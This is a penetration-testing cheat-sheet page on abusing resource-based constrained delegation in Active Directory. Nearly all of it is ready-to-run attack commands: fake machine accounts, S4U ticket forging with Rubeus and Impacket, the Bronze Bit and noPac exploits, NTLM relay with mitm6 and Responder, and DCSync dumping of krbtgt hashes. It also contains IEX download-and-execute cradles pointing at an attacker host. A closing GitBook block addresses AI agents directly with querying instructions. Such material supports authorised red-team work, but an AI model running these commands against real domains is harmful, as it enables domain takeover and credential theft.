> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/kerberos/delegation-abuse/rbcd.md).

# Resource-based Constrained

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

* <https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution>
* <https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/>
* <https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/RBCD_Abuse_Checker.ps1>

## MAQ (Machine Account Quota)

PowerShell (ActiveDirectory module):

```
PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccountQuota
```

PowerView:

```
PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota
```

LDAP:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd1!' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' --attrs ms-ds-machineAccountQuota
$ ldeep ldap -d megacorp.local -u snovvcrash -p 'Passw0rd!' -s ldap://192.168.1.11 search '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' ms-ds-machineAccountQuota
```

CrackMapExec:

```
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M MAQ
```

### CVE-2021-34470

* <https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html>
* <https://github.com/fortra/impacket/pull/1288>
* <https://github.com/tmenochet/ADTamper/blob/169031ac7f515aabe7339d6d99274553eb554b5e/ADTamper.ps1#L177>

## RBCD from Windows

Load tools:

```
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powerview4.ps1")
```

Define credentials for the compromised account with the necessary DACL:

```
PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)
```

Add new machine account and configure RBCD (i.e., set `msDS-AllowedToActOnBehalfOfOtherIdentity` property to value of the new machine account SID) on the vulnerable host (DC01):

```
Powermad > New-MachineAccount -MachineAccount fakemachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > $computerSID = Get-DomainComputer -Identity fakemachine -Properties ObjectSid -Verbose -Credential $cred | select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889
```

Ask TGS for CIFS and also inject [other](https://adsecurity.org/?page_id=183) potentially useful service names into the ticket (sname field [is not protected](https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) in TGS-REQ):

```
PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine$ /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:host,wsman,ldap,http /ptt
```

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

* Try impersonating different privileged users when requesting the ticket.
* Try using FQDN to NetBIOS under `/msdsspn` parameter (i.e., `CIFS/DC01.megacorp.local` > `CIFS/DC01`).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting (WSMAN), DCSync (LDAP) and so on:

```
PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...
```

Clean up:

```
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $cred
Powermad > Remove-MachineAccount -MachineAccount fakemachine
```

### PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

```
PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine -Verbose
```

Clean up:

```
PV4 > Set-DomainRBCD DC01 -Clear -Verbose
```

## RBCD from Linux

Add new machine account:

```
$ addcomputer.py -computer-name 'fakemachine' -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC02.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
```

Ask TGS for LDAP:

```
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip 192.168.1.11 megacorp.local/fakemachine:'Passw0rd!'
```

### rbcd-attack

* <https://github.com/tothi/rbcd-attack>

Configure RBCD on the vulnerable host (DC01):

```
$ python3 rbcd.py -f fakemachine -t DC01 -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd!'
$ python3 rbcd.py -f fakemachine -t DC01 -dc-ip 192.168.1.11 megacorp.local/'MEGACORP\SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889
```

### rbcd\_permissions

* <https://github.com/NinjaStyle82/rbcd_permissions>

Configure RBCD on the vulnerable host (DC01) via PtH:

```
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889 -l 192.168.1.11
```

### impacket-rbcd

```
$ rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'SRV01$' -dc-ip 192.168.1.11 -k -no-pass -action {read,write,remove,flush} megacorp.local/snovvcrash
```

### Bronze Bit

**CVE-2020-17049**

* <https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/>
* <https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/>

Calculate Kerberos keys for the fake machine account with [Get-KerberosAESKey](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372):

```
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98
```

Or with Mimikatz:

```
mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine /password:Passw0rd!
        * rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889
        * aes128_hmac       01c7b89a74f7aec1007ded2f3de0a815
        * aes256_hmac       211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
        * des_cbc_md5       621a91461f1adffe
```

Now you can impersonate a protected user:

```
$ addcomputer.py -computer-name fakemachine -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l 192.168.1.11
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip 192.168.1.11 megacorp.local/fakemachine -hashes :fc525c9683e8fe067095ba2ddc971889 -aesKey 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98 -force-forwardable
$ secretsdump.py DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip 192.168.1.11 -no-pass -k
```

### Metasploit

* <https://www.n00py.io/2023/01/exploiting-resource-based-constrained-delegation-rbcd-with-pure-metasploit/>

## RBCD with UPNs

* <https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html>

{% tabs %}
{% tab title="Windows" %}
User **j.doe** is populated within the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the **SRV01** machine:

```
PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe
```

Request a regular TGT for **j.doe**:

```
PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap
```

Request a U2U ticket providing TGT within the `/ticket` **and** `/tgs` options and specifying the user to impersonate within the `/targetuser` option (this is an S4U2self request):

```
PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>
```

Obtain a hex view of the current TGT session key (RC4 HMAC):

```
$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())'
```

Set **j.doe**'s NT hash to the hexlified TGT session key:

```
$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX> -altuser MEGACORP/snovvcrash -altpass 'Passw0rd123!'
```

Go for the S4U attack providing the initial TGT within the `/ticket` option and the forwardable TGS (got from the U2U request) within the `/tgs` option (only the S4U2proxy part is performed):

```
PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<TGS> /createnetonly:C:\Windows\System32\cmd.exe /show
```

{% endtab %}

{% tab title="Linux" %}
From Linux systems [Impacket](https://github.com/fortra/impacket/pull/1202#issuecomment-1257289045) can be used to operate the technique.

The steps detailed on [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users) can be followed.
{% endtab %}
{% endtabs %}

### Automatization

* <https://github.com/GhostPack/Rubeus/pull/137>

```
PS > .\Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser:administrator /msdsspn:host/SRV01.megacorp.local /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show
```

## RBCD for PrivEsc

* <https://exploit.ph/delegate-2-thyself.html>
* <https://exploit.ph/revisiting-delegate-2-thyself.html>
* <https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/>
* <https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/>
* <https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#dcsync>

```
$ getST.py megacorp.local/'PC01$' -hashes :`pypykatz crypto nt 'Passw0rd!'` -dc-ip 192.168.1.11 -impersonate administrator -altservice CIFS/PC01.megacorp.local -self
```

### sAMAccountName Spoofing (noPac)

**CVE-2021-42278, CVE-2021-42287**

* <https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
* <https://exploit.ph/more-samaccountname-impersonation.html>
* <https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing>
* <https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/>
* <https://github.com/cube0x0/noPac>
* <https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6>
* <https://github.com/Ridter/noPac>
* <https://github.com/ly4k/Pachine>

#### Check

{% tabs %}
{% tab title="Windows" %}
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC part and be obviously larger:

```
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovvcrash /password:Passw0rd! /nopac /nowrap
```

{% endtab %}

{% tab title="Linux" %}

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M nopac
```

{% endtab %}
{% endtabs %}

#### Exploit

{% tabs %}
{% tab title="Windows" %}

```powershell
# create a new machine account
PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.local -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear servicePrincipalName -Verbose
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute sAMAccountName -Verbose
# request TGT
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DC01 /password:Passw0rd! /nowrap
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -Attribute sAMAccountName -Verbose
# request S4U2self
PS > .\Rubeus.exe s4u /domain:megacorp.local /dc:DC01.megacorp.local /altservice:LDAP/DC01.megacorp.local /impersonateuser:Administrator /self /ptt /ticket:<BASE64_TGT>
# fire DCSync
PS > .\mimikatz.exe "lsadump::dcsync /domain:megacorp.local /dc:DC01.megacorp.local /user:MEGACORP\krbtgt" "exit"
```

{% endtab %}

{% tab title="Linux" %}
Manually with Impacket:

* <https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383>
* <https://github.com/ShutdownRepo/impacket/blob/CVE-2021-42278/examples/renameMachine.py>
* <https://github.com/ShutdownRepo/impacket/blob/getST/examples/getST.py>

```bash
# create a new machine account
$ addcomputer.py -computer-name FakeMachine -computer-pass 'Passw0rd1!' -dc-host DC01.megacorp.local -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd2!'
# clear SPNs
$ addspn.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd2!' -t 'FakeMachine$' -c DC01
# change fake machine's sAMAccountName
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name 'FakeMachine$' -new-name DC01
# request TGT
$ getTGT.py megacorp.local/DC01:'Passw0rd1!' -dc-ip 192.168.1.11
# change fake machine's sAMAccountName once again
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name DC01 -new-name 'FakeMachine$'
# request S4U2self
$ KRB5CCNAME=DC01.ccache getST.py -spn LDAP/DC01.megacorp.local -altservice LDAP/DC01.megacorp.local megacorp.local/DC01 -k -no-pass -dc-ip 192.168.1.11 -impersonate administrator -self
# fire DCSync
$ KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt'
```

Using noPac:

* <https://github.com/Ridter/noPac>

```bash
# creating a computer account
$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01 -dc-ip 192.168.1.11 -target-name 'FakeMachine1$' -use-ldap -dump -just-dc-ntlm
# providing an existing (owned) computer account creds
$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01 -dc-ip 192.168.1.11 --impersonate administrator -no-add -target-name 'FakeMachine2$' -old-hash :fc525c9683e8fe067095ba2ddc971889
```

{% endtab %}
{% endtabs %}

### dNSHostName Spoofing (Certifried)

**CVE-2022-26923**

{% content-ref url="/pages/DteXPMqqV5GimfUwx10E#abuse-rbcd" %}
[dNSHostName Spoofing (Certifried)](/pentest/infrastructure/ad/ad-cs-abuse/dnshostname-spoofing-certifried.md#abuse-rbcd)
{% endcontent-ref %}

## mitm6 + WPAD + LDAPS NTLM Relay + RBCD

* <https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>
* <https://chryzsh.github.io/relaying-delegation/>
* <https://www.exploit-db.com/docs/48282>

{% file src="/files/rXFwBTJPrZSrLxiHsZup" %}

```
$ ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access -wh attacker-wpad --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs [-debug]
$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn
```

## WebDav + LDAPS NTLM Relay + RBCD

* <https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb>
* <https://gist.github.com/zimnyaa/dcac97f3106e96053a1acb6ca9974e55>
* <https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/>
* <https://github.com/med0x2e/NTLMRelay2Self>
* <https://badoption.eu/blog/2024/04/25/netntlm.html>

```
$ cme smb 192.168.1.0/24 -u snovvcrash -p 'Passw0rd!' -M webdav
$ ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access [--escalate-user 'PWNED-MACHINE$'] --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
$ sudo ./Responder.py -I eth0 -wd -P -v
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt VICTIM.megacorp.local
$ getST.py -spn cifs/VICTIM.megacorp.local MEGACORP/'PWNED-MACHINE$' -dc-ip 192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -impersonate administrator
```

## Clean Up

```
PS > Get-ADComputer -Identity FakeMachine | Remove-ADComputer -Confirm:$False
PS > Get-ADComputer -Identity SRV01 -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity
PS > Get-ADComputer -Identity SRV01 | Set-ADComputer -Clear msds-allowedToActOnBehalfOfOtherIdentity
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/kerberos/delegation-abuse/rbcd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
